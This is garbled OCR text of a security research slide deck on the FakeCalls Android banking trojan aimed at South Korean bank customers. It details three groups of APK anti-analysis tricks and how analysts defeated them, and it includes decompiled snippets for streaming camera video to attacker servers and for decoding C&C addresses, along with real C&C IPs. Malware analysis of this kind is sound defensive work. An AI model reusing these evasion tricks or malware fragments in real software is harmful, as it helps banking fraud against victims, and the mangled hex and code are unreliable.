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Voice-phishing in South Korea




Voice phishing: state of affairs
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According to the e-government website of South Korea

Number of victims grew by 100% from 2016 to 2020
170,000 victims for this period of 5 years

Financial losses increased by 350% from 2016 to 2020
in 2020 they constituted ~ 600 million USD
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Malware app imitating Fake loan offer with
e-banking app lower interest rate

Malware operators
get a signal to proceed

o/

W -

Phone number of criminals Victim “confirms” the credit

replaced with a real bank number card data hoping to get a loan

: e
“Reward” for
malware operators
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FakeCalls malware




FakeCalls malware: approach
Spreading via phishing sites
Staying low-profile, no mass coverage

Targeting South Korean finance customers

Remote Access Trojan with many capabilities




What’s inside

One sample —one mimicked application
Unique anti-analysis techniques

Capabilities to monitor, steal and stream:

Location Audio Text messages Cameras etc.



High damage potential

Anti-detection measures are taken

Capabilities for stealing sensitive data

20+ trusted and solid institutions are mimicked

Given high grades by
world-respected
evaluators

Some have trillions of
KWR revenue (hundreds
of millions USD)

Among largest financial
organizations in South
Korea
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Evasion techniques




Tools

Debugger & disassembler

ON =)

by PNF Software

Bytecode to Java decompiler

P
nF“TnnL Tool to view, modify, debug, rebuild, etc.



First take on FakeCalls

File Edit Navigation Action Android Native Debugger Window Help

=M/ 4a @ & Oomnibox (F3) ...

"1- Project Explorer

~ & f8823780d282230?e995528bd7534a1?35&(
~ ® Fg8823780d2822307e995528bd7a34a173
~ [®f8823780d2822307e995528bd7a34a1

B AndroidManifest.xml B Logger & Terminal 4% Quick Search

1.2G/8.0G

Sample failed to load (in JEB Pro)



What next?

Failed update of the tools?
All of tools failed after update?
But other APKs still loaded...
This FakeCalls APK is corrupt?
All of FakeCalls samples corrupted?
But other APKs still loaded...

Maybe something prevents loading?




Evasion techniques: stages
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Evasion techniques: stages

1 2 3
Multi-file Android manifest Files
2 techniques 3 techniques 1 technique

6 evasions in total




Group 1: Multi-Disk

1. Project Explorer

~ B rBBZB?Bﬂd232230?&995523bd?334a1?35&(
~ ® F8823780d2822307e995528bd7a34a173

~ [k f8823780d2822307e995528bd7a34a1
B AndroidManifest.xml B Logger & Terminal #” Quick Search

Multi-file archive?



Group 1: Multi-Disk, p.1

End of Central Directory Record

Description

End of central directory signature # 0x06054b50

Number of this disk

Disk where central directory starts

Number of central directory records on this disk

Total number of central directory records

Size of central directory (bytes)

Offset of start of central directory, relative to start of archive
Comment length (n)

Comment

End of Central Directory structure (EOCD)



Group 1: Multi-Disk, p.1

End of Central Directory Record

Description

Disk number and the start of Central Directory
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Group 1: Multi-Disk, p.1

f8823780d2822307e995528bd7a34al1735e66bd2fe22404e02053ch92b0a56ch*

'EEEOh 17 CC 00 4D 45 54 41 2D |49 4AE 46 2F 4B 44 42 2E .I.META-INF/K

Ln | ™ Ln | T il Ln | il
[ e Bl ]

'EEFOh 53 46 50 4B 01 02 14 00 14 00 00 08 08 00 9B B9 SFPK.......... ) 1

'EFO0Oh 26 55 B8 1C B1 DB 81 04 00 00 B2 06 00 00 10 00 &U,.#0....%2..... OC f
:EF10h 00 00 00 00 00 00 00 00 00 00 00 0021 E7 CC 00 ......evuwn. el Examlne E D 0)§
'EF20h 4D 45 54 41 2D 49 4E 46 2F 4B 44 42 2E 52 53 41 META-INF/KDB.RSA d- k b d
:EF30h 50 4B 01 02 14 00 14 00 00 08 08 00 9B B9 26 55 PK.......... » 18U 1S numoper an
;EF40h 10 27 33 B4 9C CE 00 00 CB FE 01 00 14 00 00 00 .'3 ei..Ep......

:EFS0h 00 00 00 00 00 00 00 00 00 OO0 DO EB|CC 00 4D 45 .......... pel.ME CD Start

(EFGORh 54 41 2D 45 4E 46 2F 4D 41 4E 49 46 45 53 54 2B TA-INF/MANIFEST.
'EF70h 4D 46 50 4B 05 06 14 AA OF 66 AD 19 33 04 72 1F MFPK...®.f-.3.r.
(EFZCh 02 00 00 DO CD 00 0O 00 B - )

FOooUULL ZINWINEN Ty WTCNL yL=sL) L == 1L W T 18
* struct ZIPENDLOCATOR endLocator
¥ char elSignature[4] PK..O
ushort elDiskNumber 43540
ushort elStartDiskNumber 26127
ushort elEntriesOnDisk 6573 Set bOth ValueS tO O
ushort elEntriesinDirectory 1075
uint elDirectorySize 139122
uint elDirectoryOffset 13488128

ushort elCommentLength 0



Group 1: Multi-Disk, p.2

End of Central Directory Record

Description

End of central directory signature # 0x06054b50

Number of this disk

Disk where central directory starts

Number of central directory records on this disk

Total number of central directory records

Size of central directory (bytes)

Offset of start of central directory, relative to start of archive
Comment length (n)

Comment

End of Central Directory structure (EOCD)



Group 1: Multi-Disk, p.2

End of Central Directory Record

Number of central directory records on this disk

Total number of central directory records

Number of files in the archive
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:EEEON
:EEFOh
:EFO0ON
:EF10h
:EF20h
:EF30h
:EF40h
:EF50h
:EFB0N
:EF70h
:EF80h

FOooUULL ZINWINEN Ty WTCNL yL=sL)

Group 1: Multi-Disk, p.2

8823780d2822307e995528bd7a34al1735e66bd2fe22404e02053cb92b0a56ch* x
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* struct ZIPENDLOCATOR endLocator

¥ char elSignature[4]

ushort elDiskNumber

ushort elStartDiskNumber
ushort elEntriesOnDisk
ushort elEntriesinDirectory

uint elDirectorySize
uint elDirectoryOffset
ushort elCommentLength

49
14
00
00
2F
00
CB
00
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4E
00
00
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FE
00
4E
66
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00
B2
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DO
49
AD

2F
08
06
00
42
00
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19
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9B
14
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33

44
00
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E7
52
B9
00
00
33
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42
9B
10
CcC
53
26
00
4D
24
72

2E
B9
00
00
41
25
00
45
2E
1F

I=EaUUl Vs dl 3

PK.-.©
43540
26127

6573
1075
139122

13488128

0

.I.META-INF/KDB.

SFPK.......... 3 1
&l .0 ...
............ Ici.
META-INF/KDB.RSA
21 » 18U

'3el..Ep......
.......... pEI.ME

TA-INF/MANIFEST.
MFPK...a.f-.3.r.
..BI. ..

Examine EOCD for
entries on disk and
entries in directory

Values must be equal

Empirically stated:
1075 1s the correct one
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Group 1: Multi-Disk

f8823780d2822307e995528bd7a34al1735e66bd2fe22404e02053ch92b0a56ch* x
[ 2 3 4 5 6 7 8 9 A B C D ]

'EEEOh 17 CC 00 4D 45 54 41 2D |49 4E 46 2F 4B 44 42 2E .I.META-INF/KDB.

:EEFOh 53 46 50 4B |01 02 14 00|14 00 OO 08 08 00 9B B9 SFPK.......... y !

EF0OOh 26 55 B8 1C B1 DB 81 04 00 00 B2 06 00 00 10 00 &U,.0....2.....

:EF10h 00 00 00 00|00 00 OO0 0O 00 OO0 00 00 |21 E7 CC OO0 ............ Icl. .

'EF20h 4D 45 54 41 2D 49 4E 46 2F 4B 44 42 |2E 52 53 41 META-INF/KDE.RSA EOCD f

:EF30h 50 4B 01 02|14 00 14 00 00 OE OB 00 9B B9 26 55 PK.......... » P& 1X Summary

EF40h 10 27 33 B4 9C CE 00 00 CB FE 01 00 14 00 00 00 .'3 ei. Ep......

:EF50h 00 00 00 00 00 00 OO 00 00 OO DO EB CC Q0 4D 45 .......... DEI.ME

'EFE60h 54 41 2D 49 4E 46 2F 4D 41 4E 49 46 45 53 54 2E TA-INF/MANIFEST.

'EF70h 4D 46 50 4B 05 06 14 AA OF 66 AD 19 33 04 72 1F MFPK...®.f-.3.r.

'EFZ0h 02 00 00 DO CD 00 OO 0O B - )

F  0123456789ABCDEF

FOooUULL ZINWINEN Ty WTCNL yL=sL) L == 1L W T 18
~ struct ZIPENDLOCATOR endLocator
¥ char elSignature[4] PK..O
ushort elDiskNumber 43540
ushort elStartDiskNumber 26127 3 Changed Values
ushort elEntriesOnDisk 6573
ushort elEntriesinDirectory 1075
uint elDirectorySize 139122
uint elDirectoryOffset 13488128

ushort elCommentLength 0



Group 1: mitigated
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Group 2: AndroidManiftest, p.1

I: Using Apktool 2.6.1 on f8823780d2822307e995528bd7a34a1735e66bd2fe22404e02053cb92boas6ch
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
Exception in thread "main" brut.androlib.err.RawXmlEncounteredException: Could not decode XML
at brut.androlib.res.decoder.XmlPullStreambDecoder.decode(XmlPullStreamDecoder. java:145)
at hrut.apdrulib.res.decoder.KmlPullStreamDecnder.decudeManifest{xmlPullstreamDecoder.jaua:lSl)

Caused by: java.io.IOException:JExpected: 0xP0080003 or GxPPO80001 ) got: OxO0080000
at brut.util.ExtDataInput.skipCheckln xtDatalnput.java:45)

- f e W e - . o~

L] - =i r W o

Expected another value at the beginning of the manifest

AndroidManifest.xml x

0000h ']{] 00 08 00 58 28 00 00|01 OO0 1C 0O A8 15 00 DO L...X(......
0010h 58 00 00 00|00 00 OO0 OO 00 OO OO0 OO 78 01 00 00 X........... Bo e -
0020h 00 B1 81 FE 00 00 00 OO OE OO 00 00 1C 00 OO0 OO0 .:.p............
0030h 28 00 00 00 34 00 00 OO |4C OO0 00 00 |SE 00 00 OO0 (...4...L...A...

0x00080000 1s present



Group 2: AndroidManiftest, p.1

Two values possible at the beginning of Manifest?

apktool source code constants



Group 2: AndroidManiftest, p.1

= IBotPeaches / Apktool ' Public

(> Code (%) Issues 44 Il Pull requests 2 0 Discussions () Actions () Security |&~ Insights

Unable to decode AndroidManifest.xml #197

@Clnﬂd sebras opened this issue on Jan 8, 2019 « 2 comments

apktool's AXmlResourceParser correctly assumes that an AndroidManifest.xml starts with this same exeee3 followed by @x@028 ,

however they have been concatenate into a 32bit CHUMNE_AXML_FILE with the value exeeeseeas . This is then followed by a
StringBlock

Mow, the AndroidManifest.xml in the APK begins like this
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Group 2: AndroidManifest, p.2

Magic value fixed, but another exception is thrown

*fREZITEOd282230Te395528bdTa34a1 TA5e66bd 2fe 224040 02053ch92b0a56ch - jadx-gul

W MNavgabon Tools Help

BE S B iR i Q ; . 1 & @ »
fEE23780d2B22307e995528hdTa34al1735e66bd2f 2 AndroidManifest.xml

Source code

Resources
assets
junit
META-INF
okhttp3

Unexpected start of the string



Group 2: AndroidManifest, p.2

aaaaaa

Template Results - AndroidManifest.bt o

Name Value Start Size Color Comment
* struct HEADER header Oh 8h Fg: Bg:
uint magicnumber 524288 Oh 4h Fg: Bg:
uint filesize 10328 4h 4h Fg: Bg:
* struct STRINGCHUNK stringChunk 8h 15A8h Fg: Bg:
uint scSignature 1835009 8h 4h Fg: Bo: |}
uint scSize 5544 Ch ah Fg: B
uint scStringCount as 10h 4h Fg: Bo:[
uint scStyleCount 0 14h 4h Fg: Bo: |}
uint scUNKNOWN 0 18h 4h Fg: Bo: |}
uint scStringPoolOffset 376 1Ch 4h Fg: Bg: [
uint scStylePoolOffset 0 20h 4h Fg: Bo:[
¥ uint scStringOffsets[88] 24h 160h Fg: Bg: [ relative to the 0x8+scStringPoolOffset
¥ struct STRING_ITEM stritem[0] theme 180h Eh Fg: Bo: |}
¥ struct STRING_ITEM stritem[1] label 18Eh Eh Fg: Bg: [
= I — . e - — — |

The array where exception occurs



Group 2: AndroidM
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DC 11 00 00 34 12
7C 12 00 00 BE 12
0A 13 00 00 1E 13
DC 13 00 00 EE 13
05 00 74 00 28 &5
'6C/ 00 61 00 62 00
63 00 6F 00 6E 00

00
oo

oo
oo
oo
oo

Falat
rr

oo
oo

52
c2
46
10

el o
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12
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oo
oo

Template Results - AndroidManifest.bt o

» struct STRING_ITEM stritem[0]

Name
wint scStringOffsets[74]
uint scStringOffsets[75]
wint scStringOffsets[76]
uint scStringOffsets[77]
uint scStringOffsets[78]
uint scStringOffsets[79]
wint scStringOffsets[80]
uint scStringOffsets[81]
uint scStringOffsets[82]
uint scStringOffsets[83]
uint scStringOffsets(84]
uint scStringOffsets[85]
uint scStringOffsets[86]
uint scStringOffsets[87]

oo
oo
oo
0o

00 66
00 Fé
00 92
o0 24

M nan
AL I ¥ L ¥

00 04
00 61

4710
4732
4750
4802
4854
4874
4894
4934
5010
5084
5102
5136
5156

7602181

12
12
13
14
oo
oo

theme

0o
0o

0o
0o
0o
0o

Fa¥at
e

0o
0o

u...4...R...f..
|...2...A...6..
........ F..."'..
U...i....... $..
Ltohoe.m.e. ...,
lla.b.e.1..... i.
C.0.M0..J... n.a.m
Value

bt | e e e e e e e e e ] el e el

anifest, p.2

sCcSTBLRgCoeunt
must be
decreased by 1

Wrong data interpretation for the last offset



Group 2: AndroidManifest, p.3
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BUT.YET ANOTHER EXCEPTION OCCURS




Group 2: AndroidManifest, p.3

I: Using Apktool 2.6.1 on f8823780d2822307e995528bd7a34a1735e66bd2fe22404e02053cb92b0as6ch

I: Loading resource table...

I: Decoding AndroidManifest.xml with resources...

Exception in thread "main" java.lang.NegativeArraySizeException:|-25055352
at brut.androlib.res.decoder.StringBlock.read(StringBlock. java:69)
at brut.androlib.res.decoder.AXmlResourceParser.doNext(AXmlResourceParser. java:814)

at brut.androlib.res.decoder.AXmlResourceParser.next(AXmlResourceParser.java:98)
at hrut . andralibh. re<c _dernder A¥XmlRecanrceParcer nextTakenl{ A¥ml RecnnrrePar<er _ diava*1ARY

Negative array size exception



Group 2: AndroidManifest, p.3

public static StringBlock read(ExtDataInput reader) throws IOException {
reader.skipCheckChunkTypeInt (CHUNK_STRINGPOOL_TYPE, CHUNK_MNULL_TYPE};
int chunkSize = reader.readInt();

ResS5tringPool header
int stringCount = reader.readInt();
int styleCount = reader.readInt();
int flags = reader.readInt();
int stringsOffset = reader.readInt(),
int stylesOffset = reader.readInt();

StringBlock block = new StringBlock(),

block.m_isUTF8 = (flags & UTFE_FLAG) '= @;
block.m_string0ffsets = reader.readIntArray(stringCount);
if (styleCount != 8) {

block.m_styleOffsets = reader.readIntArray(styleCount);

int size = ((stylesOffset — 0) ? chunk5ize : stylesOffset) - stringsOffset;
block.m_strings = new byte[size];
reader.readFully(block.m_strings);

if (stylesOffset !'= 8) {

apktool source code: size of allocated array



Group 2: Andr01dMan1fest P.3

S0 IIIIIISIllIl HAIWIIIE

L) i L L L+ | 1 LR s L, N L' R R o LA R

0000h OO0 ﬂﬂ ﬂE ﬂﬂ SE 28 UD DD
0010h
0020h
0030h
0040h
0050h
0060h
0070h
0080h
0090h
00ACh
00BOh
00COh

Template Results - AndroidManifest.bt o

Name Value
= struct STRINGCHUNK stringChunk
uint scSignature 1835009
uint scSize 5544 -
uint scStringCount 88
uint scStyleCount 0
uint scUNKNOWN 0
uint scStringPoolOffset

|__I




Group 2: AndroidManifest, p.3

LR s L, N L' R R o LA R

0000k 00 OO0 OB 00 58 28 00 00
0010h
0020h
0030h
0040h
0050h
0060h
0070h
0080h
0090h
00ACh
00BOh

Why 2
00COh O

Template Results - AndroidManifest.bt o S CStYlePOOlOffSGt 1%

No styles present @

scStyleCount == 0

4

 Name valee :
| + struct STRINGCHUNK stringChunk java.lang.NegativeArraySizeException: | -25655352' 11nus
uint scSignature 1835009 ' ' - LE I 4 Tall .
uint scSize 5544
uint scStringCount 88
‘ uint scStyleCount 0 - Set it tO O
uint scUNKNOWN 0 must bhe

uint scStringPoolOffset 376 equal to 0




Group 2: AndroidManifest

AndroidManifest.xml =

n_1.2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF Set magic number

|

|

|

0000k PO 00 08 0O 58 28 00 00 01 00 1C 00 A8 15 00 00 L...X(......

/0010h 58 0O DU VD (00 00 0O 00 00 00 00 00|78 01 00 00 X........... X. ..

0020h 00 B1 81 FE 00 00 00 00 OE 00 00 00 1C 00 00 00 .£.p............

|

|0030h 28 00 00 00 34 00 00 00 4C 00 00 00 |5E 00 00 00 (...4...L...A... Must be 0x80003

A2 T = = 7 9 7T O F 7Y 1= ~ i — i VieovJUl OJNwowunt

Change certain values

scStringCount (decreased by 1)

scStylePoolOffset (set to 0)

uint scSignature
uint scSize

uint scStringCount
uint scStyleCount >
uint SCUNKNOWN

uint scStringPoolOffset

seliton)




Evasions: almost finished
PEOPLE ARE GETTING TIRED BUTWAIT!
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Group 3: Files

: Using Apktool 2.7.0 on f8823780d2822307e995528bd7a34a1735e66bd2fe22404e02053cb92b0as56ch
: Copying raw resources...
: Baksmaling classes.dex.
: Copying assets and 11bs
Exception in thread "main" brut.androlib.AndrolibExcegtion: brut.directory.DirectoryException:
Error copying file: assets
at brut.androlib.Androlib.decodeRawFiles(Androlib. java:169)

Caused by: brut.directory.DirectoryException: Error copying file: hSeCvupVLj7NCqcVvmpr4wmjo jWP
1CUTQRZbyew1P2KOWPX6f0sz5bLzGSDLIKN jzn8WBbwrOzMbWwxvx1KEjvYOfAFDLksepAAIRbEdrblGzINjHiZRai10eAu
QaG4QPgIXw7ZOwxGniXroGYw6DwLehBwixVEHYV4A2XqnTFCUE61rif jmk8msFDP6KRQa30ZY32xTHin95qKmKeOsmrwBi
MS5yhvOboCBFgdzr TAPcUoyp4DWFS9ZMNYPr89LmFmUCOT FGQTKWMURSNQFPO1ugNO2SyiuVZDIIEGZY

at brut.directory.DirUtil.copyToDir(Dirutil. java:99)

at brut.directory.DirUtil.copyToDir(Dirutil. java:71)

at brut.directory.AbstractDirectory.copyToDir(AbstractDirectory.java:198)

at brut.directory.DirUtil.copyToDir(Dirutil. java:87)

. 5 more

Caused by: java.nio.file.FileSystemException: f8823780d2822307e995528bd7a34a1735e66bd2fe22404e
102053cb92b0as56cb.out/assets/hSeCvupVLI7NCqcVvmpr4wmjoO jWP1CUTQRZbyew1P2KOWPX6T0sz5bLzGSDLIKNjzn
8WBbwrOzMbWwxvx1KEjvYOfAFDLksepAAIRDEdrbJGzINjHLIZRa10eAuQaG4QPgIXw7ZOWXGniXroGYw6DwLehBwixvEHyY
V4A2XqQnTFCUE61rif jmk8msFDP6KRQa30ZY32xTHIiN95gKmKeOsmrwBiMSyhvOboCBFgdzr TAPcUoyp4DWFS9ZMNYPr89L
mFMUCOFFGQTKWMURSNQFPO1ugNO2SyiuVZDIIEGZY: | File name too longl

at java.base/sun.nio.fs.UnixException.translateToIOException(UnixException.java:100)

HHHH

Files with paths of more than 260 characters




Group 3: Files

Name
+ P assets
+ 7 ageivghhbKc7nQ13jfHobP
~ 7 tPxZFzmZjDbUFSUA4tXd8Df4pGVFOQbg501QCzW30V3DmEwIZPNQpLd1)DKOOROEC50g209EHANMKNSHkKRkcw2tkOh90XojWzbrgftkRiivy1r7wgZe
~ 7 zZBgdGg2HOPVPeBkLAMTQGE4NG6tTkn|8ki795nL9COREXQuAgVVAUYFYH3ILXjwWXF6FmRmMMgZ3XA00M4MZ 2 GowOLBbQOIsrézLly55PjCNOM|hdS04HI4]ljs4WQGMSHM2
+ 7 pPnoskTelxbcugs
] sVUbOch
®7 ajmsjfglicf7DMTsHZHLgblquBOENEXNL7VelfRIBX5cclKmYBBGT2D2loyzoWYSTYvH2 OgBhOKEgioDxXQmecgEUD44 7SruP98ucFdvkuiUROVE
®7 bbkxqdh7DwbryxMIfstg5Lk2riByvyXQSs04FKTNWTzmho
®7 bhgurkkjlAQtzQoDf|TgjeD06Q8
~ 7 wvdes)hjzo
~ 7 tiskousougATn
~ 7 HuyBp2
+ 7 ByRYxmMO0)eLCjzI1E0QoQOU7cOEIZUSOWO 3jLXNigkVI0gPLI44MKOUYPVWHS ALOX8Q]HypSnHhG3IgWI3n60gdiQfrobgAQi6Z3KgeKOmycGZ5hP
~ 7 vOng0g414C4zQhhCyTTolfZNrOS
+ 7 M2kylbVKDc7)]9cmMQoGréeBayAZqbKZwl37csGoPwHIv
+ 7 kpj3mBchBfIBIOVMF)3nK
~ 7 ffkuk
F] 15zff8olQxZNWphYzMgG
®7 bingzcholB6fCNOOVWEShmHSBtbDI9S2ItDEfWLTjMiHp3)gdk9wxxvGBXKvTNKJvKyX0T5dBcux9Qsfyvze
®7 bstpyldijjixxbCvpmgonreFhg
®7 cagiahxoKfuQsC2FxULgICmhIDK
®7 ckhpdijb

Files with paths of more than 260 characters




Group 3: Files

Ajchive File 5Settings Help
Extract - Preview ﬁ-.'_:lpr:n A Find.. Add Files... Delete

Hame
¢ B META-IMF
- B assels
+ [ agehvghhbKeTng 1 3jfHSbP
v [ ajmsjfgllcF 7 DM TsHZHLghlquBOEMEXNL TVelFRIBXS o1 KmYBBqT2 D2 loyzoWYBTYvH2 OgBhKEgioDxXQmeog ELID44 TSruP98uoFdukuliLRove
L2 XD 5s04FKTHNWTzmho

3B OS2 ILDEANTTIMIHpI Jgdkows KEVTHENEYEOTSdBCux2 s M
B bstpyidijjix
B cagiahxoKFuQsC2FxULQICMhIDK
B ckhpdijb
. CwWKmMpk
B data

E d I‘r Lk
B drszmssimoderUYBIDOYTCZRENGI0IVOLRMHYVIPISIDIxToRmjhZ ggbe pOKIL1 409 dmawWT DierEzCPHI
] ko
B eguyfowTLmgu

APK payload inside is stored via a shorter (normal) path



&= B & = &

s/ 0

Group 3: Files

T TR - Omnibox (F3) ...

-

1. Project Explorer @ Bytecode/Disassembly x & ApkDownloadAsyncTask/Source

&= Certif
@ Certif
# Bytec
& Resol
~ B Asset

> e age

> e ajn

> e okt

> e owl

~ i dal
e
> i drs
» e dyb
> e egu

Q) Filter: type "Er

5
A
5
A

1§ Bytecode/Hierar

|
-

s W weeds wisda

const-string/jumbo v3, "OTwpPHI"

invoke-static gfaou->L R b ke xmEz uf (string) string, v3

move-result-object v3

invoke-virtual StringBuilde= =append(String}StringBuilder, v2, v3

invoke-virtual StringBui] ppend{String)StringBuilder, w2, pl

invoke-virtual StringBuil coString()String, w2

move-result-object w2

invoke-virtual AssetManager-=open(5tring)Ing  fCirzam, vl 2

Cross-references

Hints: this dialog is modeless. Click outside to rarr r navigation while keeping it on the foregound.
Additionally, right-click an address and use the ). .amand to navigate to that address without closing the dialog.

@

Index Address

Label

Details

1 Lcom/wish/defaultcallservice/common/URL;->readFileFromAsset(Landroid/content/Context;Ljava/lang/String;Lc
2 Lcom/wish/defaultcallservice/utils/ApkinstallerAsyncTask;->copyApk(Ljava/lang/String;)V+Ch

3 Lcom/wish/defaultcallservice/utils/FileUtils;->read AssetTxtFile(Landroid/content/Context;Ljava/lang/string;) Ljavi
4 Lcom/wish/defaultcallservice/utils/ZipUtils;->unZipAssetsFolder(Landroid/content/Context;Ljava/lang/string;Ljav

~ % com Description HexDump Disassembly Graph Strings

~ 5 Flyco

- =% roundvii ® Logger & Terminal & Quick Search @ References

» @ Build [
>er |
>.Roun[
> @ Roun [
).Roun[
> @ Roun

I
I

I
I
I

1 Method
] Method
I] Method
1 Method
1 Method
1 Method

Lcom/wish/defaultcallservice/async/ApkDownloadAsyncTask; ->doInBackground([Ljava/lang/0Obiect:)Liava/lana/Boolean: :
string:
string:
string:
string:
string:

Lcom/wish/defaultcallservice/async/ApkDownloadAsyncTask; ->copyApk(Ljava/lang/String;)Z: Decrypted
Lcom/wish/defaultcallservice/async/ApkDownloadAsyncTask; -=copyApk(Ljava/lang/String;)Z: Decrypted
Lcom/wish/defaultcallservice/async/ApkDownloadAsyncTask; ->copyApk(Ljava/lang/String;)Z: Decrypted
Lcom/wish/defaultcallservice/async/ApkDownloadAsyncTask; ->copyApk(Ljava/lang/String;)Z: Decrypted
Lcom/wish/defaultcallservice/async/ApkDownloadAsyncTask; ->copyApk(Ljava/lang/String;)Z: Decrypted

INVOKE: invoke-virtual Landroid/content/re:
INVOKE: invoke-virtual Landroid/content/re:
INVOKE: invoke-virtual Landroid/content/re:
INVOKE: invoke-virtual Landroid/content/re:

"copyApk, apkName:

"data/"
“/app2/"
"copyhApk, path: "
" is exist"

Decrvoted string: "doInBi

3

No references for long paths found: delete the files



Evasions mitigated




Evasions mitigated

Jemp/fixed.apk - JEB Pro _ ul x

File Edit Navigation Action Android Native Debugger Window Help
[ V- Y L & omnibox (F3) ...

*1; Project Explorer # Bytecode/Disassembly

~ & fixed.apk.jdb2
~ ® fixed.apk
~ [®s03i9.qskod.mpeg8q
R Manifest
@ Certificate

> B Resources

> @ Assets S S
e system MemberClasses
value = {
i Bytecode/Hierarchy INotificationSideChannel$Stub,
INotificationSideChannel$Default

> = androidx - ) .

. Description HexDump Disassembly Graph Strings
~ s COM

~ ¥ flyco = Logger & Terminal 4 Quick Search

~ B roundview
» @ BuildConfig
> @R
> @ RoundFrameLayot
» @ RoundLinearLayou
> ® RoundRelativeLay
> @ RoundTextView
> @ RoundViewDelega

~ 3 gessloop
~ 28 encrypt

-l

Q Filter: type "Enter” to .
e ¥ & -

Sample successfully loaded (in JEB Pro) \/

] Creating a new project (primary file: /tmp/Tixed.apk) .c°l°r5Level' INFO -
1 Adding artifact to project: /tmp/fixed.apk :

1 {fixed.apk > fixed.apk}: Resource files adjusted (958)

1

[T
[1
[T
[I] {fixed.apk > s83i9.qskod.mpeg8q}: Analysis completed




4

Functionality cherry-picks




Dropper: APK to launch

® /1 @ 11:53 tartMainservice( v, String s) {
Log.e( g . +V o+ + 5);
{
Intent intente = .getPackageManager() .getlLa IntentForPackage(MainActivity.
(v = 184) {
le bundled = Bundle();
bundled.putString( : };
bundlee.putString( . };
bundlee.putString( . };
bundle®.putBoolean( : )i
bundle®.putString( ; };
bundle®.putString( g )i
bundle®.putString( ; )i
bundlee.putString( ] };
bundle®.putString( , SharedPreferencesUtils.getValue( : });
bundleB.putString( ’ };
intent®.putExtras(bundled);
}
.startActivityForResult(intente, v);
}
(Exception exception®) {
Log.e( .TAG, + exception@.getMessage()};
}

q O a }

Multiple options are set up for the payload


file:///C:/Users/user/AppData/Local/Temp/Rar$EXa11584.44863/FakeCalls%205c05a080d8434e3a9f021dd4f53b6981/Untitled%2019.png

Live streaming

( intent®, v, vl) {
{
RtspCamera2 be@® = VideoService.
(bed != ) {
(bed. () == Facing. b {
VideoService. . {);
Iy
VideoService. ("rtmp://" + Spf. ("KEY SERVER _IP1") + ":1935/live/" + Spf. ("KEY_IMI"));
}
(). ( L);
Iy
( exceptione) {
AppStart.d = 6;
Logger.b("videoService", "onStart Exception:" + exception@. ());
}

Both frontal and back cameras can be streamed



Network communication

Drop dead
2 ' ~——" resolvers

| GoogleDrive

\ o

> A

i

10000 =0

@

FakeCalls makes a 1111—0 Filename or
request to a web Alternative contents
server server , decrypted
i —

10000 =0

I - - - .- _—_—_’

’____J_____

'

Real C&C servers
are obtained



Network communication 4%

URL.hostList = ArrayList();
URL.URL ALTERMATE IP =
}

JWwUS2W1+9mjbH195Q5RykGM7PQMI0B+L9R+q)gHemxHe JZPUOSt9qujmOSUKbUIVE AetwdhnjlzvxlACuTuZIm5jFn7SEA /uZt6n ABApbBs69XFOXRBPPSVISAPIOM3K]IL... - O %
A fwwUSZW1+9mjbH19sQ° x  + v
& = & & drivegoogle.com/filefd/1L7CMBivENLIrCxmUpkXRZcyFgbgmckys fview 2 9 A » 0O 'e Incognito &

b fwlUSZW1+9mibH19sQSRykGM7PQMIOB+LIR+qgHemxHe JZPUOBIGqUMOSU ... ZOP3YSATCZXLtxOOJEOYShs JAXmHNRIUTPMSSVEXfDmelotThGmQBBpig== & & -

$

@
AES

¥

SERVER1 156.245.21.38-SERVER2 156.245.12.211-SERVER3_154.38.113.162-
SERVER4 154.197.48.72-SERVERS 154.197.48.125-SERVERG_154.197.48.195-
SERVER/7 206.119.82.78-SERVERS8 154.23.182.63-SERVER9 154.197.48.93-
SERVER10 154.197.48.212-SERVERLK 127.0.0.1



Network communication

$ curl https://www.daebak222.com/huhu/admin.txt {

"bo5": "Y2ViYWIrPj4gICL IyAjPykpPyAlKSspliMjPn14Z3Q=",
"a07": "eWVIYWIrPj4gKSM_ICc_JSM_ICkrJCEK]D55ZHIkPnB1fHh_P2VpZQ

StringUtils {
String decode(String s) {

[]1 arr_b = Base64.decode(s, 8);

( v =0; v <arr b.length; ++v) {

arr b[v] = ( J(arr b[v] ™ 17); 1

} B - Server for streamed videos
} String(arr b, StandardCharsets.UTF 8); New drop dead resolver
}

rtmp://113.212.88.148:8322/live
https://182.16.42.18:5055/huhu/admin.txt

lllll -0

lllll -0

lllll -0

I {4


file:///C:/Users/user/AppData/Local/Temp/Rar$EXa11584.44863/FakeCalls%205c05a080d8434e3a9f021dd4f53b6981/Untitled%2027.png

Conclusion




Summary

Growing market to operate in: tricks work

~ 600 million USD loss in 2020
170,000 victims from 2016 to 2020
20+ financial institutions in South Korea mimicked
chosen among largest organizations in the industry
Multiple anti-analysis techniques; stealing capabilities

High potential for significant damage to victims



[.Links

National Police Agency. Status of voice phishing

https://www.data.go.kr/data/15063815/fileData.do

Damage of 1.7 trillion won over the past 5 years (as of 2020)

https://it.chosun.com/site/data/html dir/2020/09/28/2020092802480.html

Kaspersky’s research of FakeCalls:

https://www.kaspersky.com/blog/fakecalls-banking-trojan/44072/

Check Point’s research of FakeCalls:

https://research.checkpoint.com/2023/south-korean-android-banking-menace-fakecalls/



Cp<l> Evasion techniques Cp<l> Android:

CHECK POINT RESEARCH

Windows:

Evasions Encyclopedia

CHECK POINT RESEARCH

APK anti-analysis Eny

Evasions Windows: Anti-debug

Made with % to sery
© 1994-2024 Check Poinf

Made with W to serve the community by Check Point Research | Research blog | About Us |
© 1994-20824 Check Point Software Technologies LTD | All rights reserved | Property of CheckP

APK anti-analysis

Go back

Contents

APK anti-analysis methods used

1. Wrong ZIP header data values

2. Wrong values in the manifest structure
2.1. Magic value

2.2. Array of strings" offsets

2.3. Style pool

3. Long filenames

Signature recommendations

on PC

GEELALE LU LI LD UL DNy MHS4L SUHALY  LHLLASy GHMLYIE3  LUULS SLIEWL LU PLUTIUL WS MGG LI ULmUGLEUn ws
possible about an APK. If some logic discrepancies are encountered during the process of amalysis, the tool
fails, thus showing the presence of an anti-analysis trick.

1. Wrong ZIP header data values

The clue about something strange inside the APK archive (which should be a usual ZIP archive) is seen in the
message shown by JEB Pro:

"1 Project Explorer

- ® [ERIITROC?E223070995528bd7a34a1735e¢
& [BE2ITE0]2822307e335528bdTadaiTY

~ B FB823780d 262230 Ted95526bd Ta34a1
B AndroidmManifest.sml = Logger ™ Terminal 4 Quick Search

[ ]

APK is usually not split into multi-disk archives, so this information has to be checked inside - by analyzing
